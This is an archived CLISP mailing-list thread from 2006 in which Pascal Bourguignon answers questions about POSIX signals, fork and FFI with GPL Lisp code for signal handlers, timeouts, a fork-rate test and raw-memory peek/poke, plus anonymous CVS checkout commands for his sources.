X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 2 09:24:10 2006 X-Original-Date: Tue, 2 May 2006 09:23:51 -0700 (PDT) Not really. It's widely used on all Unix-like systems and even some non-Unix systems. ----- Henry Lenzi wrote: > > 5. I'll need a select/poll loop that can handle all types of > > Isn't select/poll exclusive to Linux? From dave@vyatta.com Wed May 03 16:04:46 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FbQOk-0002oK-7F for clisp-list@lists.sourceforge.net; Wed, 03 May 2006 16:04:46 -0700 Received: from hnrelay-1.lvcm.net ([24.234.0.67]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FbQOj-0004W5-Gs for clisp-list@lists.sourceforge.net; Wed, 03 May 2006 16:04:46 -0700 Received: from localhost (localhost [127.0.0.1]) by hnrelay-1.lvcm.net (Postfix) with ESMTP id E84753F614; Wed, 3 May 2006 16:04:39 -0700 (PDT) Received: from hnrelay-1.lvcm.net ([127.0.0.1]) by localhost (hnrelay-1.lvcm.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 10250-02; Wed, 3 May 2006 16:04:37 -0700 (PDT) Received: from [24.120.213.54] (wsip-24-120-213-54.lv.lv.cox.net [24.120.213.54]) by hnrelay-1.lvcm.net (Postfix) with ESMTP id 0C2813F604; Wed, 3 May 2006 16:04:36 -0700 (PDT) Message-ID: <44593708.7060509@vyatta.com> From: Dave Roberts User-Agent: Thunderbird 1.5.0.2 (Windows/20060308) MIME-Version: 1.0 To: pjb@informatimago.com Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] POSIX support References: <445148F0.8070001@vyatta.com> <44568BBB.8060407@vyatta.com> <17495.12240.830125.48339@thalassa.informatimago.com> In-Reply-To: <17495.12240.830125.48339@thalassa.informatimago.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: amavisd-new at lvcm.net X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 3 16:05:02 2006 X-Original-Date: Wed, 03 May 2006 16:04:40 -0700 Thanks, Pascal. I noticed you used some functions from the LINUX package. Is this a standard CLISP package or something of your own? If standard CLISP, is it documented, or should I go grok the sources? -- Dave Pascal Bourguignon wrote: > Dave Roberts writes: >>> 1. I'll need to be able to deal with signals. I have read the mailing >>> list archives where it's very strongly pointed out not to try to run >>> signals in Lisp as it can confuse the GC. Is there any problem running >>> signals as C routines through FFI? > > AFAIK, you can use almost all the signals from lisp in clisp. > >>> 2. Which signals, if any, does CLISP use internally on Linux, perhaps >>> for things like page protection for GC? I'll need to avoid those signals. > > Only a few of them are used by clisp. You can grep clisp sources for > them, but I've not seen anything extraordinary to be wary of. For > example, see below how I catch the SIGSEGV signal when calling FFI > functions that may raise it. > > >>> 3. Are there any other gotchas with respect to fork, exec, etc? > > Nothing special either, see example below. There's the usual > buffering on forked file descriptors to take into account, etc. > > >>> 4. I'll need to be manipulating file descriptors all over the place. >>> What's the best way to do that without conflicting with CLISPs stream >>> handling. I'll want to do raw IO, but may need more control that the >>> EXT:WITH-KEYBOARD function in section 21.2.2. I'll probably need to mess >>> with the tty direction and probably invoke all sorts of termios functions. >>> >>> 5. I'll need a select/poll loop that can handle all types of >>> descriptors. It looks like SOCKET:SOCKET-STATUS does what I want (shame >>> it's named something that's so socket-specific if it's really a more >>> general functionality). Are there any gotchas here? On Linux, does it >>> call select or poll (curios in terms of scalability)? > > > ------------------------------------------------------------------------ > ;;;;************************************************************************** > ;;;;FILE: clisp--with-timeout.lisp > ;;;;LANGUAGE: Common-Lisp > ;;;;SYSTEM: Common-Lisp > ;;;;USER-INTERFACE: NONE > ;;;;DESCRIPTION > ;;;; > ;;;; Testing SIGALRM on clisp on Linux. > ;;;; > ;;;;AUTHORS > ;;;; Pascal Bourguignon > ;;;;MODIFICATIONS > ;;;; 2006-05-02 Added this header. > ;;;;BUGS > ;;;;LEGAL > ;;;; GPL > ;;;; > ;;;; Copyright Pascal Bourguignon 2006 - 2006 > ;;;; > ;;;; This program is free software; you can redistribute it and/or > ;;;; modify it under the terms of the GNU General Public License > ;;;; as published by the Free Software Foundation; either version > ;;;; 2 of the License, or (at your option) any later version. > ;;;; > ;;;; This program is distributed in the hope that it will be > ;;;; useful, but WITHOUT ANY WARRANTY; without even the implied > ;;;; warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR > ;;;; PURPOSE. See the GNU General Public License for more details. > ;;;; > ;;;; You should have received a copy of the GNU General Public > ;;;; License along with this program; if not, write to the Free > ;;;; Software Foundation, Inc., 59 Temple Place, Suite 330, > ;;;; Boston, MA 02111-1307 USA > ;;;;************************************************************************** > ;;;; > > (defun install-signal-handler (signum handler) > (let ((oldhan (linux:|set-signal-handler| signum handler)) > (sigset (second (multiple-value-list > (linux:|sigaddset| (second (multiple-value-list > (linux:|sigemptyset|))) > signum))))) > (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| sigset) > (values signum oldhan sigset))) > > > (defun restore-signal-handler (signum oldhan sigset) > (linux:|set-signal-handler| signum oldhan) > (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| sigset)) > > > > (defmacro with-signal-handler (signum handler &body body) > (let ((voldhan (gensym)) > (vsignum (gensym)) > (vsigset (gensym))) > `(let* ((,vsignum ,signum) > (,voldhan (linux:|set-signal-handler| ,vsignum ,handler)) > (,vsigset (second (multiple-value-list > (linux:|sigaddset| > (second (multiple-value-list > (linux:|sigemptyset|))) > ,vsignum))))) > (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| ,vsigset) > (unwind-protect (progn ,@body) > (linux:|set-signal-handler| ,vsignum ,voldhan) > (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| ,vsigset))))) > > > (defmacro with-sigseg-handler (&body body) > `(with-signal-handler linux:|SIGSEGV| > (lambda (signum) > (declare (ignore signum)) > (error "Got Segment Violation Signal while accessing raw memory")) > ,@body)) > > > (defmacro with-timeout ((seconds . timeout-forms) &body body) > " > This macro evaluates the body as a progn body. If the evaluation > of body does not complete within the specified interval, execution > throws out of the body and the timeout-forms are evaluated as a > progn body, returning the result of the last form.) The > timeout-forms are not evaluated if the body completes within > seconds. > " > (catch :timeout > `(with-signal-handler linux:|SIGALRM| > (lambda (signum) > (declare (ignore signum)) > (throw :timeout (progn ,@timeout-forms))) > (LINUX:alarm ,seconds) > ,@body))) > > ------------------------------------------------------------------------ > ;;;;************************************************************************** > ;;;;FILE: count-fork.lisp > ;;;;LANGUAGE: Common-Lisp > ;;;;SYSTEM: Common-Lisp > ;;;;USER-INTERFACE: NONE > ;;;;DESCRIPTION > ;;;; > ;;;; Testing fork and signals in clisp on Linux. > ;;;; > ;;;;AUTHORS > ;;;; Pascal Bourguignon > ;;;;MODIFICATIONS > ;;;; 2006-05-02 Added this header. > ;;;;BUGS > ;;;;LEGAL > ;;;; GPL > ;;;; > ;;;; Copyright Pascal Bourguignon 2006 - 2006 > ;;;; > ;;;; This program is free software; you can redistribute it and/or > ;;;; modify it under the terms of the GNU General Public License > ;;;; as published by the Free Software Foundation; either version > ;;;; 2 of the License, or (at your option) any later version. > ;;;; > ;;;; This program is distributed in the hope that it will be > ;;;; useful, but WITHOUT ANY WARRANTY; without even the implied > ;;;; warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR > ;;;; PURPOSE. See the GNU General Public License for more details. > ;;;; > ;;;; You should have received a copy of the GNU General Public > ;;;; License along with this program; if not, write to the Free > ;;;; Software Foundation, Inc., 59 Temple Place, Suite 330, > ;;;; Boston, MA 02111-1307 USA > ;;;;************************************************************************** > > (defparameter *run* t) > > > (defun install-signal-handler (signum handler) > (let ((oldhan (linux:|set-signal-handler| signum handler)) > (sigset (second (multiple-value-list > (linux:|sigaddset| (second (multiple-value-list > (linux:|sigemptyset|))) > signum))))) > (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| sigset) > (values signum oldhan sigset))) > > > (defun restore-signal-handler (signum oldhan sigset) > (linux:|set-signal-handler| signum oldhan) > (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| sigset)) > > > (defmacro with-signal-handler (signum handler &body body) > (let ((voldhan (gensym)) > (vsignum (gensym)) > (vsigset (gensym))) > `(let* ((,vsignum ,signum) > (,voldhan (linux:|set-signal-handler| ,vsignum ,handler)) > (,vsigset (second (multiple-value-list > (linux:|sigaddset| > (second (multiple-value-list > (linux:|sigemptyset|))) > ,vsignum))))) > (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| ,vsigset) > (unwind-protect (progn ,@body) > (linux:|set-signal-handler| ,vsignum ,voldhan) > (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| ,vsigset))))) > > > (ffi:def-c-struct itimerval > (interval-sec ffi:long) > (interval-mic ffi:long) > (value-sec ffi:long) > (value-mic ffi:long)) > > (defconstant +itimer-real+ 0) > (defconstant +itimer-virtual+ 1) > (defconstant +itimer-prof+ 2) > > (ffi:def-call-out > setitimer > (:name "setitimer") > (:arguments (which ffi:int :in) (value (ffi:c-ptr itimerval) :in) > (ovalue (ffi:c-ptr-null itimerval) :in)) > (:return-type ffi:int) > (:language :stdc) > (:library "/lib/libc.so.6")) > > > (defun main () > (setf *run* t) > (with-signal-handler linux:|SIGVTALRM| > (lambda (signum) (declare (ignore signum)) (setf *run* nil)) > (ffi:with-c-var (i 'itimerval (make-itimerval :interval-sec 0 > :interval-mic 0 > :value-sec 0 > :value-mic 1000)) > (setitimer +itimer-virtual+ i nil)) > (loop with counter = 0 > with failed = 0 > while *run* > do (let ((res (linux:fork))) > (cond ((null res) (incf failed)) > ((= 0 res) (linux:exit 0)) > (t (incf counter)))) > finally (format t "forked ~D times (failed ~D times)~%" counter failed)))) > > > ------------------------------------------------------------------------ > > ;;**************************************************************************** > ;;FILE: raw-memory.lisp > ;;LANGUAGE: Common-Lisp > ;;SYSTEM: Common-Lisp > ;;USER-INTERFACE: NONE > ;;DESCRIPTION > ;; > ;; Peek and Poke. > ;; > ;;AUTHORS > ;; Pascal J. Bourguignon > ;;MODIFICATIONS > ;; 2004-11-30 Created. > ;;BUGS > ;;LEGAL > ;; GPL > ;; > ;; Copyright Pascal J. Bourguignon 2004 - 2004 > ;; > ;; This program is free software; you can redistribute it and/or > ;; modify it under the terms of the GNU General Public License > ;; as published by the Free Software Foundation; either version > ;; 2 of the License, or (at your option) any later version. > ;; > ;; This program is distributed in the hope that it will be > ;; useful, but WITHOUT ANY WARRANTY; without even the implied > ;; warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR > ;; PURPOSE. See the GNU General Public License for more details. > ;; > ;; You should have received a copy of the GNU General Public > ;; License along with this program; if not, write to the Free > ;; Software Foundation, Inc., 59 Temple Place, Suite 330, > ;; Boston, MA 02111-1307 USA > ;;**************************************************************************** > > > ;; (in-package "COMMON-LISP-USER") > ;; (eval-when (:compile-toplevel :load-toplevel :execute) > ;; (unless (find-package "LINUX") > ;; (warn "Package LINUX is not available. Signal handling is disabled.") > ;; (defpackage "LINUX" > ;; (:use "COMMON-LISP") > ;; (:export "set-signal-handler" "sigaddset" "sigemptyset" > ;; "sigprocmask-set-n-save" "SIG_UNBLOCK" "SIGSEGV")) > ;; (in-package "LINUX") > ;; (defmacro null-op (name) > ;; `(defmacro ,name (&rest args) (declare (ignore args)) nil)) > ;; (eval-when (:compile-toplevel :load-toplevel :execute) > ;; (null-op |set-signal-handler|) > ;; (null-op |sigaddset|) > ;; (null-op |sigemptyset|) > ;; (null-op |sigprocmask-set-n-save|) > ;; (defparameter |SIG_UNBLOCK| 0) > ;; (defparameter |SIGSEGV| 0)))) > ;; > ;; (in-package "COMMON-LISP-USER") > > > (DEFINE-PACKAGE "COM.INFORMATIMAGO.CLISP.RAW-MEMORY" > (:NICKNAMES "RAW-MEMORY") > (:DOCUMENTATION "Peek and Poke.") > (:FROM "COMMON-LISP" :IMPORT :ALL) > (:use "FFI") > (:use "LINUX") > (:EXPORT > "PEEK" "POKE" "DUMP" > "WITH-SIGSEG-HANDLER" > ;; The following are low-level function, not protected by signal handler. > ;; Install you own! > "PEEK-UINT8" "PEEK-SINT8" "POKE-UINT8" "POKE-SINT8" > "PEEK-UINT16" "PEEK-SINT16" "POKE-UINT16" "POKE-SINT16" > "PEEK-UINT32" "PEEK-SINT32" "POKE-UINT32" "POKE-SINT32" > "PEEK-UINT64" "PEEK-SINT64" "POKE-UINT64" "POKE-SINT64" > ));;COM.INFORMATIMAGO.CLISP.RAW-MEMORY > > > (eval-when (:compile-toplevel :load-toplevel :execute) > (defparameter +library+ > (loop for path in '("libraw-memory.so" > "packages:com;informatimago;clisp;libraw-memory.so") > until (probe-file path) > finally (return (namestring (truename path)))))) > > > (defun install-signal-handler (signum handler) > (let ((oldhan (linux:|set-signal-handler| signum handler)) > (sigset (second (multiple-value-list > (linux:|sigaddset| (second (multiple-value-list > (linux:|sigemptyset|))) > signum))))) > (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| sigset) > (values signum oldhan sigset))) > > > (defun restore-signal-handler (signum oldhan sigset) > (linux:|set-signal-handler| signum oldhan) > (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| sigset)) > > > > (defmacro with-signal-handler (signum handler &body body) > (let ((voldhan (gensym)) > (vsignum (gensym)) > (vsigset (gensym))) > `(let* ((,vsignum ,signum) > (,voldhan (linux:|set-signal-handler| ,vsignum ,handler)) > (,vsigset (second (multiple-value-list > (linux:|sigaddset| > (second (multiple-value-list > (linux:|sigemptyset|))) > ,vsignum))))) > (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| ,vsigset) > (unwind-protect (progn ,@body) > (linux:|set-signal-handler| ,vsignum ,voldhan) > (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| ,vsigset))))) > > > (defmacro with-sigseg-handler (&body body) > `(with-signal-handler linux:|SIGSEGV| > (lambda (signum) > (declare (ignore signum)) > (error "Got Segment Violation Signal while accessing raw memory")) > ,@body)) > > > ;; Scalar: > > (defmacro generate-peek-and-poke () > (loop with code = '() > for size in '(8 16 32) ;; peek and poke of 64-bit don't work. > for c-peek-name = (format nil "peek~D" size) > for c-poke-name = (format nil "poke~D" size) do > (loop for type in '(uint sint) > for l-peek-name = (intern (with-standard-io-syntax > (format nil"PEEK-~A~D" type size)) > "COM.INFORMATIMAGO.CLISP.RAW-MEMORY") > for l-poke-name = (intern (with-standard-io-syntax > (format nil"POKE-~A~D" type size)) > "COM.INFORMATIMAGO.CLISP.RAW-MEMORY") > for l-type = (intern (with-standard-io-syntax > (format nil"~A~D" type size)) > "FFI") > do > (push `(ffi:def-call-out ,l-peek-name > (:name ,c-peek-name) > (:arguments (address ffi:ulong)) > (:return-type ,l-type) > (:library #.+library+) (:language :stdc)) code) > (push `(ffi:def-call-out ,l-poke-name > (:name ,c-poke-name) > (:arguments (address ffi:ulong) (value ,l-type)) > (:return-type nil) > (:library #.+library+) (:language :stdc)) code)) > finally (return `(progn ,@ code)))) > > > > (eval-when (:load-toplevel :execute) > (generate-peek-and-poke)) > > > (defun peek-uint64 (address) > (dpb (raw-memory:peek-uint32 (+ 4 address)) > (byte 32 32) > (raw-memory:peek-uint32 address))) > > (defun peek-sint64 (address) > (dpb (raw-memory:peek-uint32 (+ 4 address)) > (byte 32 32) > (raw-memory:peek-uint32 address))) > > (defun poke-uint64 (address object) > (poke-uint32 address (ldb (byte 32 0) object)) > (poke-uint32 (+ 4 address) (ldb (byte 32 32) object))) > > (defun poke-sint64 (address object) > (poke-uint32 address (ldb (byte 32 0) object)) > (poke-uint32 (+ 4 address) (ldb (byte 32 32) object))) > > > > (defun get-function (type peek-or-poke) > (case peek-or-poke > ((:peek) > (when (atom type) (error "Can't peek this type ~S" type)) > (case (first type) > ((unsigned-byte) > (case (second type) > ((8) (values (function peek-uint8 ) 1)) > ((16) (values (function peek-uint16) 2)) > ((32) (values (function peek-uint32) 4)) > ((64) (values (function peek-uint64) 8)) > (otherwise (error "Can't peek this type ~S" type)))) > ((signed-byte) > (case (second type) > ((8) (values (function peek-sint8 ) 1)) > ((16) (values (function peek-sint16) 2)) > ((32) (values (function peek-sint32) 4)) > ((64) (values (function peek-sint64) 8)) > (otherwise (error "Can't peek this type ~S" type)))) > (otherwise (error "Can't peek this type ~S" type)))) > ((:poke) > (when (atom type) (error "Can't poke this type ~S" type)) > (case (first type) > ((unsigned-byte) > (case (second type) > ((8) (values (function poke-uint8 ) 1)) > ((16) (values (function poke-uint16) 2)) > ((32) (values (function poke-uint32) 4)) > ((64) (values (function poke-uint64) 8)) > (otherwise (error "Can't poke this type ~S" type)))) > ((signed-byte) > (case (second type) > ((8) (values (function poke-sint8 ) 1)) > ((16) (values (function poke-sint16) 2)) > ((32) (values (function poke-sint32) 4)) > ((64) (values (function poke-sint64) 8)) > (otherwise (error "Can't poke this type ~S" type)))) > (otherwise (error "Can't poke this type ~S" type)))) > (otherwise > (error "PEEK-OR-POKE must be either :PEEK or :POKE, not ~S" > peek-or-poke)))) > > > ;; type: simtype | comtype. > ;; simtype: > ;; (unsigned-byte 8) > ;; (signed-byte 8) > ;; (unsigned-byte 16) > ;; (signed-byte 16) > ;; (unsigned-byte 32) > ;; (signed-byte 32) > ;; (unsigned-byte 64) > ;; (signed-byte 64) > ;; single-float ; not implemented yet. > ;; double-float ; not implemented yet. > ;; comtype: > ;; (array simtype size) > ;; (vector simtype size) > > > (defun peek (address type) > (with-signal-handler linux:|SIGSEGV| > (lambda (signum) > (declare (ignore signum)) > (error "Got Segment Violation Signal while peeking ~8,'0X" address)) > (if (and (listp type) > (or (eq (first type) 'array) (eq (first type) 'vector))) > (multiple-value-bind (peek incr) (get-function (second type) :peek) > (do ((data (make-array (list (third type)) > :element-type (second type) > :initial-element 0)) > (address address (+ address incr)) > (i 0 (1+ i))) > ((>= i (third type)) data) > (setf (aref data i) (funcall peek address)))) > (funcall (get-function type :peek) address))));;peek > > > (defun poke (address type value) > (with-signal-handler linux:|SIGSEGV| > (lambda (signum) > (declare (ignore signum)) > (error "Got Segment Violation Signal while poking ~8,'0X" address)) > (if (and (listp type) > (or (eq (first type) 'array) (eq (first type) 'vector))) > (multiple-value-bind (poke incr) (get-function (second type) :poke) > (do ((address address (+ address incr)) > (i 0 (1+ i))) > ((>= i (third type)) (values)) > (funcall poke address (aref value i)))) > (funcall (get-function type :poke) address value))));;poke > > > (defun dump (address type &optional (stream t) (margin "")) > (with-signal-handler linux:|SIGSEGV| > (lambda (signum) > (declare (ignore signum)) > (error "Got Segment Violation Signal while peeking ~8,'0X" address)) > (if (and (listp type) > (or (eq (first type) 'array) (eq (first type) 'vector))) > (multiple-value-bind (peek incr) (get-function (second type) :peek) > (do ((address address (+ address incr)) > (i 0 (1+ i))) > ((>= i (third type)) (format stream "~&") (values)) > (when (zerop (mod i (/ 16 incr))) > (format stream "~&~A~8,'0X: " margin (+ address i))) > (format stream "~V,'0X " (* 2 incr) > (funcall peek address)))) > (multiple-value-bind (peek incr) (get-function type :peek) > (format stream "~&~A~8,'0X: ~V,'0X ~&" > margin address (* 2 incr) > (funcall peek address)))))) > > > ;; Local Variables: > ;; eval: (cl-indent 'with-signal-handler 2) > ;; End: > > ;;;; raw-memory.lisp -- -- ;;;; > > > You can fetch the rest of my sources with: > > cvs -z3 -d :pserver:anonymous@cvs.informatimago.com:/usr/local/cvs/public/chrooted-cvs/cvs co common/makedir > cvs -z3 -d :pserver:anonymous@cvs.informatimago.com:/usr/local/cvs/public/chrooted-cvs/cvs co common/common-lisp > cvs -z3 -d :pserver:anonymous@cvs.informatimago.com:/usr/local/cvs/public/chrooted-cvs/cvs co common/clisp > cvs -z3 -d :pserver:anonymous@cvs.informatimago.com:/usr/local/cvs/public/chrooted-cvs/cvs co common/sbcl > > (The password for anonymous cvs user is empty). In addition, you may want to have a look at my dot-files: > > cvs -z3 -d :pserver:anonymous@cvs.informatimago.com:/usr/local/cvs/public/chrooted-cvs/cvs co home > ls -a home > > From pjb@informatimago.com Wed May 03 17:19:08 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FbRYh-0001xi-Cg for clisp-list@lists.sourceforge.net; Wed, 03 May 2006 17:19:07 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FbRYe-0004cR-84 for clisp-list@lists.sourceforge.net; Wed, 03 May 2006 17:19:07 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id E568A586AB; Thu, 4 May 2006 02:18:51 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 0906D586AF; Thu, 4 May 2006 02:18:34 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id D585D87BB; Thu, 4 May 2006 02:18:33 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17497.18520.720281.468909@thalassa.informatimago.com> To: Dave Roberts Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] POSIX support In-Reply-To: <44593708.7060509@vyatta.com> References: <445148F0.8070001@vyatta.com> <44568BBB.8060407@vyatta.com> <17495.12240.830125.48339@thalassa.informatimago.com> <44593708.7060509@vyatta.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-3.1 required=5.0 tests=ALL_TRUSTED,BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 3 17:20:02 2006 X-Original-Date: Thu, 4 May 2006 02:18:32 +0200 Dave Roberts writes: > Thanks, Pascal. I noticed you used some functions from the LINUX > package. Is this a standard CLISP package or something of your own? If > standard CLISP, is it documented, or should I go grok the sources? It's a clisp module, available when compiled on Linux. Otherwise, you can get access to any C function with FFI. For example, on MacOSX, you could do: (ffi:def-call-out fork (:name "fork") (:arguments) (:return-type ffi:int) (:library "/usr/lib/libc.dylib") (:language :stdc)) (when (zerop (fork)) (sleep 4) (print "Hello") (ext:exit 0)) Or perhaps you could write: (defconstant +libunix+ #+(and unix macos) "/usr/lib/libc.dylib" #+linux "/lib/libc.so.6" ;; ... #-(or linux (and unix macos) #|...|#) (error "I don't know where UNIX functions are defined.")) (ffi:def-call-out fork (:name "fork") (:arguments) (:return-type ffi:int) (:library #.+libunix+) (:language :stdc)) ;; ... (defconstant +libc+ #+(and unix macos) "/usr/lib/libc.dylib" #+linux "/lib/libc.so.6" ;; ... #-(or linux (and unix macos) #|...|#) (error "I don't know where standard C functions are defined.")) (ffi:def-call-out fopen (:name "fopen") (:arguments (path ffi:string :in) (mode ffi:string :in)) (:return-type ffi:pointer) (:library #.+libc+) (:language :stdc)) -- __Pascal_Bourguignon__ _ Software patents are endangering () ASCII ribbon against html email (o_ the computer industry all around /\ 1962:DO20I=1.100 //\ the world http://lpf.ai.mit.edu/ 2001:my($f)=`fortune`; V_/ http://petition.eurolinux.org/ From dave@vyatta.com Wed May 03 17:32:07 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FbRl6-0003jH-Km for clisp-list@lists.sourceforge.net; Wed, 03 May 2006 17:31:56 -0700 Received: from hnrelay-1.lvcm.net ([24.234.0.67]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FbRl5-0001Ca-HF for clisp-list@lists.sourceforge.net; Wed, 03 May 2006 17:31:56 -0700 Received: from localhost (localhost [127.0.0.1]) by hnrelay-1.lvcm.net (Postfix) with ESMTP id C6DA43F60F; Wed, 3 May 2006 17:31:49 -0700 (PDT) Received: from hnrelay-1.lvcm.net ([127.0.0.1]) by localhost (hnrelay-1.lvcm.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 12090-05; Wed, 3 May 2006 17:31:48 -0700 (PDT) Received: from [24.120.213.54] (wsip-24-120-213-54.lv.lv.cox.net [24.120.213.54]) by hnrelay-1.lvcm.net (Postfix) with ESMTP id BD7A33F605; Wed, 3 May 2006 17:31:48 -0700 (PDT) Message-ID: <44594B78.6070101@vyatta.com> From: Dave Roberts User-Agent: Thunderbird 1.5.0.2 (Windows/20060308) MIME-Version: 1.0 To: pjb@informatimago.com Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] POSIX support References: <445148F0.8070001@vyatta.com> <44568BBB.8060407@vyatta.com> <17495.12240.830125.48339@thalassa.informatimago.com> <44593708.7060509@vyatta.com> <17497.18520.720281.468909@thalassa.informatimago.com> In-Reply-To: <17497.18520.720281.468909@thalassa.informatimago.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: amavisd-new at lvcm.net X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 3 17:33:06 2006 X-Original-Date: Wed, 03 May 2006 17:31:52 -0700 Pascal Bourguignon wrote: > Dave Roberts writes: >> Thanks, Pascal. I noticed you used some functions from the LINUX >> package. Is this a standard CLISP package or something of your own? If >> standard CLISP, is it documented, or should I go grok the sources? > > It's a clisp module, available when compiled on Linux. Excellent, thanks. Any documentation anywhere? > Otherwise, you can get access to any C function with FFI. For > example, on MacOSX, you could do: Yup, that was basically my plan, but if it's already done, I'll use that instead. Always better to use pre-debugged code if it's available. ;-) Thanks for your help, -- Dave From kavenchuk@jenty.by Wed May 03 23:31:48 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FbXNJ-0000do-Sp for clisp-list@lists.sourceforge.net; Wed, 03 May 2006 23:31:45 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FbXNJ-0001RH-Tn for clisp-list@lists.sourceforge.net; Wed, 03 May 2006 23:31:45 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FbXNI-0008C7-Ed for clisp-list@lists.sourceforge.net; Wed, 03 May 2006 23:31:45 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id KG2M8AB9; Thu, 4 May 2006 09:34:14 +0300 Message-ID: <4459A04A.9050501@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.8.0.2) Gecko/20060404 SeaMonkey/1.0.1 MIME-Version: 1.0 To: "Hoehle, Joerg-Cyril" CC: clisp-list@lists.sourceforge.net, kavenchuk@tut.by Subject: Re: [clisp-list] status of stack overflow recovery in CLISP (&lib sigsegv) References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 